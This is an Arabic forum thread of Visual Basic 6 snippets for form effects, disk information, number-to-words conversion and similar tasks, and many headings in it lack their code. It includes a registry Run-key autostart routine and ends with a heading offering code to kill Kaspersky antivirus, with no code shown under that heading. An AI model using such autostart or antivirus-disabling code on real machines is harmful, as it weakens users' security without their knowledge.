Mnu_File_Max_Click() Me.Visible = True Me.WindowState = vbNormal End Sub Private Sub Mnu_File_Min_Click() WindowState = vbMinimized End Sub
كود:
'===================================================
'Sub: GetDiskInfo
'Description: Gets information for a specified disk drive.
' (The name of the Disk, Serial Number, Maximum Component length,
' File System Flags, and File System Type)
'Where to place code: Module
'Notes: Call this function with a root path as its' parimeter (ie, GetDiskInfo "c:\").
' The function will then load the public variables with the correct values for the
' disk.
'
'http://www.littleguru.com
'==================================================
Public Declare Function GetVolumeInformation& Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long)
Public strDiskName As String ' Disk Name
Public lngSerialNumber As Long ' Disk Serial Number
Public lngMaxComLength As Long ' Maximum Component Length
Public lngFileSystemFlags As Long ' File System Flags
Public strFileSystem As String ' File System Type
Public Sub GetDiskInfo(strRootPath As String)
Dim lngTemp As Long
Dim strTemp1 As String * 255
Dim strTemp2 As String * 10
If GetVolumeInformation(strRootPath, strTemp1, 255, lngSerialNumber, lngMaxComLength, lngFileSystemFlags, strTemp2, 10) = 0 Then
' Insert Error Handling code here
End If
If Len(strTemp1) > 0 Then
lngTemp = InStr(strTemp1, vbNullChar)
strDiskName = Left(strTemp1, lngTemp - 1)
End If
If Len(strTemp2) > 0 Then
lngTemp = InStr(strTemp2, vbNullChar)
strFileSystem = Left(strTemp2, lngTemp - 1)
End If
End Sub
كود:
'=================================================== 'Sub: AppSleep 'Description: Suspends operation of your program for the specified time 'Where to place code: Module 'Notes: Set lngMilliSeconds to the time in milliseconds your app will be suspended ' 'http://www.littleguru.com '================================================== Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Sub AppSleep(lngMilliSeconds As Long) Sleep lngMilliSeconds End Sub
كود:
'===================================================
'Function: InsertString
'Description: Inserts a string into another at the specified position
'Where to place code: Module
'Notes: Set lngPosition to the position in the original string you want the new string to be inserted at
' Set strString1 to the original string
' Set strString2 to the string you want inserted in the original string
'
'http://www.littleguru.com
'==================================================
Public Function InsertString(lngPosition, strString1, strString2)
Dim strTemp As String
Dim strTemp2 As String
strTemp = Left(strString1, lngPosition)
strTemp2 = Right(strString1, Len(strString1) - lngPosition)
InsertString = strTemp + strString2 + strTemp2
End Function
كود:
'===================================================
'Sub: IsAppAlreadyRunning
'Description: Determines if your application is already running
'Where to place code: Module
'Notes: It would be a good idea to change the MsgBox and End code
' to something more professional
'
'http://www.littleguru.com
'==================================================
Public Sub IsAppRunning()
If App.PrevInstance = True Then
MsgBox "MyApp is already running",vbOkOnly,"MyApp"
End
End If
End Sub
كود:
'=================================================== 'Function: RunNextBoot 'Description: Sets a key in the registry to have your app run the next time Windows is rebooted, ' or everytime Windows is rebooted. 'Where to place code: Module 'Notes: Set AppName to the name of your application ' Set CmdLine to the path of you application with any other arguments following ' Set ThisUserOnly to true if the application should only be run when the current user reboots ' Set RunEveryBoot to true if the application should run every reboot, instead of just the next time ' 'Author: Karl E. Peterson of VBPJ 'Author's ***site: http://www.vbpj.com 'Magazine: Visual Basic Programmer's Journal, March 1999, Vol. 9, No. 3, pg. 93 'http://www.littleguru.com '================================================== Public Declare Function RegCreateKeyEx& Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) Public Declare Function RegSetValueEx& Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) Public Declare Function RegCloseKey& Lib "advapi32.dll" (ByVal hKey As Long) Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const REG_OPTION_NON_VOLATILE = 0 Public Const SYNCHRONIZE = &H100000 Public Const STANDARD_RIGHTS_ALL = &H1F0000 Public Const KEY_QUERY_VALUE = &H1 Public Const KEY_SET_VALUE = &H2 Public Const KEY_CREATE_SUB_KEY = &H4 Public Const KEY_ENUMERATE_SUB_KEYS = &H8 Public Const KEY_NOTIFY = &H10 Public Const KEY_CREATE_LINK = &H20 Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE)) Public Const ERROR_SUCCESS = 0& Public Const REG_SZ = 1 Public Function RunNextBoot(ByVal AppName As String, ByVal CmdLine As String, Optional ThisUserOnly As Boolean = False, Optional RunEveryBoot As Boolean = False) Dim TopKey As Long Dim SubKey As String Dim nRet As Long Dim hKey As Long Dim nResult As Long If RunEveryBoot Then SubKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Else SubKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" End If If ThisUserOnly Then TopKey = HKEY_CURRENT_USER Else TopKey = HKEY_LOCAL_MACHINE End If nRet = RegCreateKeyEx(TopKey, SubKey, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, ByVal 0&, hKey, nResult) If nRet = ERROR_SUCCESS Then nRet = RegSetValueEx(hKey, AppName, 0&, REG_SZ, ByVal CmdLine, Len(CmdLine)) Call RegCloseKey(hKey) End If RunNextBoot = (nRet = ERROR_SUCCESS) End Function
قـم بآدرآج مربع نص و كومند
وضع هذا الكود في الزر كومند
for i = 1 to len (text1.text) st1=mid (text1.text,i,1) as1 = asc (st1) ch1=chr (255-as1) st = ch1+st next text1.text = st |
- اليوم جايلكو وجايب معي كود روعة والكل يتمناه
وهو كود لتحويل الارقام الى ارقام منطوقة بالعربية ويمكن استخدامه الى من ا الى مالا نهاية .. ارجوا الاطلاع عليه واتمنا أن ينال إعجابكم وارجو الي يستتفيد ما يبخل علينا برد حلو وتقييم
كود:
Private Function ToWordsArb(Num As String) As String
Dim S1 As String, S2 As String, S3 As String, Tmp As String, X As String
Dim L As Integer, T As Integer, R As Integer, T_ As String
Const S As String = " ": Const O As String = " و "
T_ = "الاف"
'Fill Array'''''''''''''''''''(1 to 9)'''''''''''''''''''''
Dim AN(0 To 9) As String 'Data for conversion
AN(1) = "واحد": AN(2) = "اثنان": AN(3) = "ثلاثة"
AN(4) = "اربعة": AN(5) = "خمسة": AN(6) = "ستة"
AN(7) = "سبعة": AN(8) = "ثمانية": AN(9) = "تسعة"
''''''''''''''''''''(11 to 19 )'''''''''''''''''''''''''''''
Dim BN(0 To 9) As String
BN(0) = "عشرة"
BN(1) = "احد عشر": BN(2) = "اثنا عشر": BN(3) = "ثلاثة عشر"
BN(4) = "اربع عشر": BN(5) = "خمسة عشر": BN(6) = "ستة عشر"
BN(7) = "سبعة عشر": BN(8) = "ثمانية عشر": BN(9) = "تسعة عشر"
''''''''''''''''''''(10 to 90)'''''''''''''''''''''''''''''''''''
Dim CN(0 To 9) As String
CN(1) = "عشرة": CN(2) = "عشرين": CN(3) = "ثلاثين"
CN(4) = "اربعين": CN(5) = "خمسين": CN(6) = "ستين"
CN(7) = "سبعين": CN(8) = "ثمانين": CN(9) = "تسعين"
''''''''''''''''''''(100 to 900)'''''''''''''''''''''''''''''''''''
Dim DN(0 To 9) As String
DN(1) = "مائة": DN(2) = "مائتين": DN(3) = "ثلاث مائة"
DN(4) = "اربع مائة": DN(5) = "خمس مائة": DN(6) = "ست مائة"
DN(7) = "سبع مائة": DN(8) = "ثمان مائة": DN(9) = "تسع مائة"
'ZEROs''''''''''''''''''''''''''''''
AN(0) = "": BN(0) = "عشرة": CN(0) = "": DN(0) = ""
'Make redey''''''''''''''''''''''''''''''
L = Len(Num)
'''''''''''''''''''''''''''''''''Check Start: ''''''''''''''''''''''''''''''''''''''''''''
''ALL BY ORDER :'''''''''''''''''''''''''''''
Dim W As Collection, C As Integer, MM As String
Set W = New Collection
'Split numbers to array
For T = L To 1 Step -1
MM = Mid(CStr(Num), T, 1)
If IsNumeric(MM) Then W.Add MM
Next T
'Exit if it Zero'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Num = Replace(Num, "|", ""): If Val(Num) = 0 Then X = "صفر": GoTo Ex '''
C = W.Count: L = C 'Very Important '''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'1 Check''1 to 9
If L = 1 Then X = AN(Val(Num)): GoTo Ex
'2 Check'11-12-13....To: 19
If L = 2 Then If Val(W.Item(2)) = 1 Then _
X = BN(Val(W.Item(1))): GoTo Ex
'2 Check'10-20-30....To: 90
If L = 2 Then If Val(W.Item(1)) = 0 Then _
X = CN(Val(W.Item(1))): GoTo Ex
'3 Check'From 21 ....To: 90
If L = 2 Then X = AN(Val(W.Item(1))) & O & CN(Val(W.Item(2))): GoTo Ex
Re_Check:
'3 Check' The Tow Frist Numbers of Large number:
If Val(W.Item(2)) = "1" Then 'Elvenths(BN)
X = BN(Val(Val(W.Item(1))))
X = X
ElseIf Val(W.Item(1)) = "0" Then 'Tointeth(CN)
X = CN(Val(Val(W.Item(2))))
Else
X = AN(Val(W.Item(1))) & O & CN(Val(W.Item(2))) 'From 21-67 ....To: 90
End If
X = Zeros(W, X, 2)
'4 Check ' 12-31-41... to end'''
If L > 2 Then 'Hundreds(DN)
X = DN(Val(W.Item(3))) & O & X 'Hundreds & Numbers
If W.Item(1) = "0" And W.Item(2) = "0" Then X = DN(Val(W.Item(3))) 'Hundreds & Zeros
X = Zeros(W, X, 3)
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
If L = 4 Then ' Thawsend(1,000)''4 Numbers'''''''''''''''''''''''''''''''
If Val(W.Item(4)) = 1 Then
Tmp = "الف"
ElseIf Val(W.Item(4)) = 2 Then
Tmp = "الفين"
Else
Tmp = "الاف"
End If
If Tmp = "الاف" Then X = AN(Val(W.Item(4))) & S & Tmp & O & X Else X = Tmp & O & X 'Thawsend & Numbers
If W(2) = "0" & W(3) = "0" & W(4) = "0" Then _
If Tmp = "الاف" Then X = AN(Val(W.Item(1))) & S & Tmp Else X = Tmp 'Thawsend & Zeros
X = Zeros(W, X, 4)
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'If L > 4 And L < 8 Then '10 Thawsend(10,000)''5 Numbers'''''''''''''''''''''''''''''''
If L > 4 Then ''___ OPEN IF ______________________________________________(L > 4)
TenThawsend: '10 Thawsend(10,000)''5 Numbers'''''''''''''''''''''''''''''''
Tmp = ""
If W(5) = "0" Then GoTo HoundredsThawsend 'Jump
If Val(W.Item(5)) = 1 Then
Tmp = "عشرة الاف"
ElseIf Val(W.Item(5)) = 2 Then
Tmp = "عشرين الف"
End If
If W(4) = "0" Then '10.000
If Val(W.Item(5)) = 1 Or Val(W.Item(5)) = 2 Then X = Tmp & O & X Else _
T_ = "الف": X = CN(Val(W(5))) & S & T_ & O & X
Else '11.000
T_ = "الف"
If W(5) = "1" Then X = BN(Val(W(4))) & S & T_ & O & X
If W(5) <> "1" Then X = AN(Val(W(4))) & O & CN(Val(W(5))) & S & T_ & O & X
End If
If L = 5 Then GoTo Ex '100 Thawsend(100,000)''6 Numbers''''''''''''''''''''''''''''''
HoundredsThawsend:
If W(6) = "0" Then GoTo Mileons 'Jump
X = Zeros(W, X, 5)
Tmp = "الف"
If W(5) = "0" And W(4) = "0" Then
X = DN(Val(W(6))) & S & Tmp & O & X
Else
If W(5) = 0 Then
If Val(W(6)) > 2 Then Tmp = "الاف"
If Val(W(5)) = 0 Then If Val(W(4)) > 2 Then Tmp = "الاف" Else Tmp = "الف"
X = DN(Val(W(6))) & O & AN(Val(W(4))) & S & Tmp & O & X 'tx here
Else
X = DN(Val(W(6))) & O & X
End If
End If
X = Replace(X, "مائتين الف", "مئتي الف")
X = Replace(X, " الف الف ", " الف ")
If L < 7 Then GoTo Ex 'Milon(1000,000)''7 numbers'''''''''''''''''''''''''''''''
Mileons:
If Val(W.Item(7)) < 1 Then GoTo TenMileons 'Jump
If L > 7 Then If Val(W.Item(8)) <> 0 Then GoTo TenMileons 'Jump
If L > 8 Then If Val(W(9)) <> 0 Then GoTo TenMileons 'Jump
Tmp = "ملاين"
If Val(W.Item(7)) = 1 Then
Tmp = "مليون"
ElseIf Val(W.Item(7)) = 2 Then
Tmp = "مليونين"
End If
X = Zeros(W, X, 6)
If Val(W.Item(7)) > 2 Then X = AN(Val(W(7))) & S & Tmp & O & X Else X = Tmp & O & X
If L < 8 Then GoTo Ex 'Milon(10,000,000)''8 numbers'''''''''''''''''''''''''''''''
TenMileons:
If L > 8 Then If Val(W(9)) <> 0 Or Val(W(8)) < 1 Then GoTo HoundredsMileons 'Jump
If Val(W(8)) = 1 Then Tmp = "ملاين" Else Tmp = "مليون"
X = Zeros(W, X, 6)
X = Zeros(W, X, 7)
If Val(W(8)) = 1 Then 'Tenth Mileons:10,000,000
If Val(W(7)) = 0 Then X = CN(Val(W(8))) & S & Tmp & O & X Else _
Tmp = "مليون": X = BN(Val(W(7))) & S & Tmp & O & X 'Elventh Mileons
Else
If Val(W(7)) = 0 Then X = CN(Val(W(8))) & S & Tmp & O & X Else _
X = AN(Val(W(7))) & O & CN(Val(W(8))) & S & Tmp & O & X '12,000,000
End If
If L < 9 Then GoTo Ex 'Milon(100,000,000)''9 numbers'''''''''''''''''''''''''''''''
HoundredsMileons:
If L > 9 And Val(W(9)) < 1 Then GoTo Bileon
Tmp = "مليون"
X = Zeros(W, X, 8)
If Val(W(7)) = 0 And Val(W(8)) = 0 Then '100,000,000
X = DN(Val(W(9))) & S & Tmp & O & X 'Puer Houndreds Of Mileons
Else '110,000,000
'1- Houndreds Of Mileons & Elvenths : ..2- Else :Houndreds Of Mileons & Frist numbers
If Val(W(8)) = 1 Then X = DN(Val(W(9))) & O & BN(Val(W(7))) & S & Tmp & O & X Else _
X = DN(Val(W(9))) & O & AN(Val(W(7))) & S & CN(Val(W(8))) & S & Tmp & O & X
End If
X = Replace(X, "مائتين مليون", "مئتي مليون")
If L < 10 Then GoTo Ex 'Bileon(1,000,000,000)''10 numbers'''''''''''''''''''''''''''''''
Bileon:
If Val(W.Item(10)) < 1 Then GoTo Ten_Of_Bileons 'Jump
If L > 10 Then If Val(W.Item(11)) <> 0 Then GoTo Ten_Of_Bileons 'Jump
If L > 11 Then If Val(W(12)) <> 0 Then GoTo Ten_Of_Bileons 'Jump
Tmp = "بلاين"
If Val(W.Item(10)) = 1 Then
Tmp = "بليون"
ElseIf Val(W.Item(10)) = 2 Then
Tmp = "بليونين"
End If
X = Zeros(W, X, 9)
If Val(W.Item(10)) > 2 Then X = AN(Val(W(10))) & S & Tmp & O & X Else X = Tmp & O & X
If L < 11 Then GoTo Ex 'Bileon(10,000,000,000)''11 numbers'''''''''''''''''''''''''''''''
Ten_Of_Bileons:
If L > 11 Then If Val(W(12)) <> 0 Or Val(W(11)) < 1 Then GoTo Houndred_Of_Bileons 'Jump
If Val(W(11)) = 1 Then Tmp = "بلاين" Else Tmp = "بليون"
X = Zeros(W, X, 11)
If Val(W(11)) = 1 Then 'Tenth Bileons:10,000,000,000
If Val(W(10)) = 0 Then X = CN(Val(W(11))) & S & Tmp & O & X Else _
Tmp = "بليون": X = BN(Val(W(10))) & S & Tmp & O & X 'Elventh Bileons
Else
If Val(W(10)) = 0 Then X = CN(Val(W(11))) & S & Tmp & O & X Else _
X = AN(Val(W(10))) & O & CN(Val(W(11))) & S & Tmp & O & X '12,000,000,000
End If
If L < 12 Then GoTo Ex 'Bileon(100,000,000,000)''12 numbers'''''''''''''''''''''''''''''''
Houndred_Of_Bileons:
If L > 12 And Val(W(12)) < 1 Then GoTo Trlion
Tmp = "بليون"
X = Zeros(W, X, 12)
If Val(W(10)) = 0 And Val(W(11)) = 0 Then '100,000,000,000
X = DN(Val(W(12))) & S & Tmp & O & X 'Puer Houndreds Of Bileons
Else '110,000,000,000
'1- Houndreds Of Bileons & Elvenths : ..2- Else :Houndreds Of Bileons & Frist numbers
If Val(W(11)) = 1 Then X = DN(Val(W(12))) & O & BN(Val(W(10))) & S & Tmp & O & X Else _
X = DN(Val(W(12))) & O & AN(Val(W(10))) & S & CN(Val(W(11))) & S & Tmp & O & X
End If
X = Replace(X, "مائتين بليون", "مئتي بليون")
If L < 13 Then GoTo Ex 'Trlion(1,000,000,000,000)''13 numbers'''''''''''''''''''''''''''''''
Trlion:
If Val(W.Item(13)) < 1 Then GoTo Ten_Of_Trlions 'Jump
If L > 13 Then If Val(W.Item(14)) <> 0 Then GoTo Ten_Of_Trlions 'Jump
If L > 14 Then If Val(W.Item(15)) <> 0 Then GoTo Ten_Of_Trlions 'Jump
Tmp = "تريلونات"
If Val(W.Item(13)) = 1 Then
Tmp = "ترليون"
ElseIf Val(W.Item(13)) = 2 Then
Tmp = "ترليونين"
End If
X = Zeros(W, X, 13)
If Val(W.Item(13)) > 2 Then X = AN(Val(W(13))) & S & Tmp & O & X Else X = Tmp & O & X
If L < 14 Then GoTo Ex 'Ten_Of_Trlions(10,000,000,000,000)''14 numbers'''''''''''''''''''''''''''''''
Ten_Of_Trlions:
If L > 14 Then If Val(W(15)) <> 0 Or Val(W(14)) < 1 Then GoTo Houndreds_Of_Trlions 'Jump
If Val(W(14)) = 1 Then Tmp = "تريلونات" Else Tmp = "ترليون"
X = Zeros(W, X, 14)
If Val(W(14)) = 1 Then 'Tenth Trlions:10,000,000,000,000
If Val(W(13)) = 0 Then X = CN(Val(W(14))) & S & Tmp & O & X Else _
Tmp = "ترليون": X = BN(Val(W(13))) & S & Tmp & O & X 'Elventh Trlions
Else
If Val(W(13)) = 0 Then X = CN(Val(W(14))) & S & Tmp & O & X Else _
X = AN(Val(W(13))) & O & CN(Val(W(14))) & S & Tmp & O & X '12,000,000,000,000
End If
If L < 15 Then GoTo Ex 'Houndreds_Of_Trlions(100,000,000,000,000)''15 numbers'''''''''''''''''''''''''''''''
Houndreds_Of_Trlions:
If L > 15 And Val(W(15)) < 1 Then GoTo Quadrillion
Tmp = "ترليون"
X = Zeros(W, X, 15)
If Val(W(13)) = 0 And Val(W(14)) = 0 Then '100,000,000,000,000
X = DN(Val(W(15))) & S & Tmp & O & X 'Puer Houndreds Of Trlions
Else '110,000,000,000,000
'1- Houndreds Of Trlions & Elvenths : ..2- Else :Houndreds Of Trlions & Frist numbers
If Val(W(14)) = 1 Then X = DN(Val(W(15))) & O & BN(Val(W(13))) & S & Tmp & O & X Else _
X = DN(Val(W(15))) & O & AN(Val(W(13))) & S & CN(Val(W(14))) & S & Tmp & O & X
End If
X = Replace(X, "مائتين ترليون", "مئتي ترليون")
If L < 16 Then GoTo Ex 'Quadrillion(1,000,000,000,000,000)''16 numbers'''''''''''''''''''''''''''''''
Quadrillion:
If Val(W.Item(16)) < 1 Then GoTo Ten_Of_Quadrillions 'Jump
If L > 16 Then If Val(W.Item(17)) <> 0 Then GoTo Ten_Of_Quadrillions 'Jump
If L > 17 Then If Val(W.Item(18)) <> 0 Then GoTo Ten_Of_Quadrillions 'Jump
Tmp = "كوادرليونات"
If Val(W.Item(16)) = 1 Then
Tmp = "كوادرليون"
ElseIf Val(W.Item(16)) = 2 Then
Tmp = "كوادرليونين"
End If
X = Zeros(W, X, 16)
If Val(W.Item(16)) > 2 Then X = AN(Val(W(16))) & S & Tmp & O & X Else X = Tmp & O & X
If L < 17 Then GoTo Ex 'Ten_Of_Quadrillions(10,000,000,000,000,000)''17 numbers'''''''''''''''''''''''''''''''
Ten_Of_Quadrillions:
If L > 17 Then If Val(W(18)) <> 0 Or Val(W(17)) < 1 Then GoTo Houndreds_Of_Quadrillions 'Jump
If Val(W(17)) = 1 Then Tmp = "كوادرليونات" Else Tmp = "كوادرليون"
X = Zeros(W, X, 17)
If Val(W(17)) = 1 Then 'Tenth Quadrillions
If Val(W(16)) = 0 Then X = CN(Val(W(17))) & S & Tmp & O & X Else _
Tmp = "كوادرليون": X = BN(Val(W(16))) & S & Tmp & O & X 'Elventh Quadrillions
Else
If Val(W(16)) = 0 Then X = CN(Val(W(17))) & S & Tmp & O & X Else _
X = AN(Val(W(16))) & O & CN(Val(W(17))) & S & Tmp & O & X '12,000,000,000,000,000
End If
If L < 18 Then GoTo Ex 'Houndreds_Of_Quadrillions(100,000,000,000,000,000)''18 numbers'''''''''''''''''''''''''''''''
Houndreds_Of_Quadrillions:
If L > 18 And Val(W(18)) < 1 Then GoTo Zlion
Tmp = "كوادرليون"
X = Zeros(W, X, 18)
If Val(W(16)) = 0 And Val(W(17)) = 0 Then '100,000,000,000
X = DN(Val(W(18))) & S & Tmp & O & X 'Puer Houndreds Of Quadrillions
Else '110,000,000,000
'1- Houndreds Of Quadrillions & Elvenths : ..2- Else :Houndreds Of Quadrillions & Frist numbers
If Val(W(17)) = 1 Then X = DN(Val(W(18))) & O & BN(Val(W(16))) & S & Tmp & O & X Else _
X = DN(Val(W(18))) & O & AN(Val(W(16))) & S & CN(Val(W(17))) & S & Tmp & O & X
End If
X = Replace(X, "مائتين كوادرليون", "مئتي كوادرليون")
If L < 19 Then GoTo Ex 'Houndreds_Of_Quadrillions(100,000,000,000,000,000)''18 numbers'''''''''''''''''''''''''''''''
Zlion: '[The end]'''Last Naming number
X = "": X = "زليون" & vbCrLf & "الزليون : رقم غير محدود يفوق التسميات المعروفة"
End If ''___ CLOSE IF ______________________________________________(L > 4)
'''''''''''''''''''''''''''''''''Check End: ''''''''''''''''''''''''''''''''''''''''''''''
Ex:
Set W = Nothing
X = Replace(X, O & O, O) ''Delte extra waws
'delete last waw
If Len(X) > 2 Then _
If Mid(X, Len(X) - 2, 2) = " و" Or Mid(X, Len(X) - 2, 2) = "و " Then X = Left(X, Len(X) - 2)
ToWordsArb = X
End Function
Private Function Zeros(Col As Collection, X As String, MAX As Integer) As String
Dim T As Integer, I As Boolean
If MAX < 1 Then Exit Function
For T = 1 To Col.Count
If Val(Col.Item(T)) <> 0 Then I = True: Exit For
If T = MAX Then Exit For
Next T
If I Then Zeros = X Else Zeros = ""
End Function
فـي الجنـرآل
في الفورم
في الفورم في حدث Resize
في الفورم في حدث Rainbow
في الجنرال
في الزر الاول [ اخفاء الايقونات ]
اضهار الايقونات
برنآمج ساعة رقمیة مع تاريخ. الأدوات المطلوبة :
إلى 100 Interval غیر خاصیة Timer ومؤقت زمني 1 Label ضع ٢أداة عنوان
: Timer1_Timer أكتب الكود الآتي في
لفتح البرنامج بطريقة جميلة
البرنامج الأول :
البرنامج عبارة عن برنامج ترحیب يستخدم للترحیب عند الضغط على أي
لغة فإن البرنامج يظھر كلمة الترحیب الخاصة بكل لغة :
للفورم إلى Caption ثم غیر Standard.exe افتح مشروع قیاسي جديد
"برنامج الترحیب". ثم ضع الأدوات التالیة على الفورم :
List صندوق قائمة 1 ، Text أداة نص 1 ، Label أداة عنوان 1
True ھي Text ل: 1 Locked اجعل خاصیة
تحريك صورة في الفیجوال إلى أسفل ويسار الفورم. الأدوات المطلوبة :
للفورم Caption ثم غیر خاصیة Standard.exe افتح مشروع قیاسي جديد
Timer1 ، Picture إلى "تحريك صورة" ثم ضع 1
Timer1 = ل 100 Interval وقم بوضع خاصیة Picture ضع صورة في 1
2- Maximized للفورم إلى WindowState غیر خاصیة
Dim X,Y as Integer General عرف متحولات في القسم العام
البرنامج عبارة عن مستعرض صور بسیط. افتح مشروع جديد ثم ضع مايلي:
فیظھر مربع حوار نختار Ctrl+T نضغط على ، Image ٢ أزرار ، أداة عرض الصور 1
ثم نظغط على موافق Microsoft Common Dialog control 6.0(SP منه الأداة ( 6
: Form_Load ونقوم بإدراجه على الفورم. نكتب الكود الآتي بالحدث
: Form_Resize والكود الآتي بالحدث
وللزر الأول "تحمیل" :
وللزر الثاني " حفظ" :
كود لجعل الفورم في المقدمه form on top
كــــــــــــود الموديل
عبارة عن قارئ بسیط للمیديا. افتح مشروع قیاسي جديد وضع علیه مايلي :
Ctrl + T إلى "فتح" ، اضغط على Caption وغیر الخاصة Command زر أمر 1
Microsoft Common Dialog control 6.0(SP فیظھر مربع حوار اختر منه الأداة ( 6
.Label وضعھا على الفورم ، وضع أداة عنوان 1
كود الزر "فتح" :
الأن إذهب إلى خصائص Picture1 و إضغط على Picture و قم بتحديد أي صورة لديك
( يفضل أن تكون صورة صغيرة )
عدل خاصية Auto Size الخاصة بـ Picture1 إلى True
الآن ضع هذا الكود في الكومند:
وهذا الكود في الجنرال
هذي آكوآدْ تـخليْ البـرنآمجْ شفآفْ ويـطلعْ شـكلةْ خطـيرْ
المثآل في المرفقآتْ
كـود الجنرآل
كود الفرومـ لود
المـوضوووعْ آهدآْء للكلْ
كود اضهار رسالة عند الضغط على زر x بالفورم .. عملية تاكيد الخروج من البرنامج
كـود إذا حاب ان برنامجك ما ينفتح الا بـ بآسورد ..~
وإن كآن قديم ولآ مكرر فآيام سوري بس حبيت آنقل للفـآيدهـ..
تسوي فورم إضافي وتحط فيه textbox وزر مثلا لدخول
وتكتب هالكود
وآضح فوق آكتب كلمة المرور الي تبي المستخدم يدخلهـآ
.
.
.
إن شـآء الله كلش وآضح ومفهوم ..
كود لتغيير شكل الفورم على شكل دائرة
'Declarations
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
'Code
Private Sub Form_Load()
Dim lngRegion As Long
Dim lngReturn As Long
Dim lngFormWidth As Long
Dim lngFormHeight As Long
lngFormWidth = Me.Width / Screen.TwipsPerPixelX
lngFormHeight = Me.Height / Screen.TwipsPerPixelY
lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight)
lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True)
End Sub
للكتابه اكثر من سطر في المسج
الرقم المكتوب باللون الأحمر فى الكود السابق يمكنك من خلاله تحديد درجة الشفافية
من 0 حتى 255
الرقم 255 يعنى ان الفورم يظهر بشكل طبيعى بدون شفافية
كلما قل الرقم عن 255 كلما زادت شفافية الفورم حتى يصل الى أعلى مستوى للشفافية عند القيمة 0أى يصبح عندها الفورم مخفى
وتجنب وضع قيمة اكبر من ذلك لان البرنامج لن يقبلها وسيعطيك رسالة خطا
جماليات لفتح وإغلاق الفورم
طريقة جميلة لفتح الفورم
في قسم التصريحات العامة
Sub Explode(form1 As Form)
form1.Width = 0
form1.Height = 0
form1.Show
For x = 0 To 5000 Step 1
form1.Width = x
form1.Height = x
With form1
.Left = (Screen.Width - .Width) / 2
.Top = (Screen.Height - .Height) / 2
End With
Next
في كود تحميل الفورم
Explode Me
طريقة رائعة لإغلاق الفورم
الكود
ضع الكود في كود تحميل الفورم
Sub SlideWindow(frmSlide As Form, iSpeed As Integer)
While frmSlide.Left + frmSlide.Width < Screen.Width
DoEvents
frmSlide.Left = frmSlide.Left + iSpeed
Wend
While frmSlide.Top - frmSlide.Height < Screen.Height
DoEvents
frmSlide.Top = frmSlide.Top + iSpeed
Wend
Unload frmSlide
End Sub
زر الإغلاق هو
Command1
الكود
Private Sub Command1_Click()
Call SlideWindow(Form1, 100)
End Sub
لا حول ولا قوة إلا بالله
كود زر خروج
private declare function setlayeredwindowattributes lib "user32.dll" (byval hwnd as long, byvalcrkey as long, byval balpha as byte, byval dwflags as long) as boolean private declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long private declare function getwindowlong lib "user32" alias "getwindowlonga" (byval hwnd as long, byval nindex as long) as long const lwa_alpha = 2 const gwl_exstyle = (-20) const ws_ex_layered = &h80000 |
في الفورم
private sub form_load() setwindowlong hwnd, gwl_exstyle, getwindowlong(hwnd, gwl_exstyle) or ws_ex_layered setlayeredwindowattributes hwnd, 0, 128, lwa_alpha end sub |
Private Sub Form_Resize() Call Rainbow End Sub |
Private Sub Rainbow() On Error Resume Next Dim Position As Integer, Red As Integer, Green As _ Integer, Blue As Integer Dim ScaleFactor As Double, Length As Integer ScaleFactor = Me.ScaleWidth / (255 * 6) Length = Int(ScaleFactor * 255) Position = 0 Red = 255 Blue = 1 For Green = 1 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green \ ScaleFactor, Blue) Position = Position + 1 Next Green For Red = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red \ ScaleFactor, Green, Blue) Position = Position + 1 Next Red For Blue = 0 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green, Blue \ ScaleFactor) Position = Position + 1 Next Blue For Green = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green \ ScaleFactor, Blue) Position = Position + 1 Next Green For Red = 1 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red \ ScaleFactor, Green, Blue) Position = Position + 1 Next Red For Blue = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green, Blue \ ScaleFactor) Position = Position + 1 Next Blue End Sub |
- كود لقتل الكاسبر
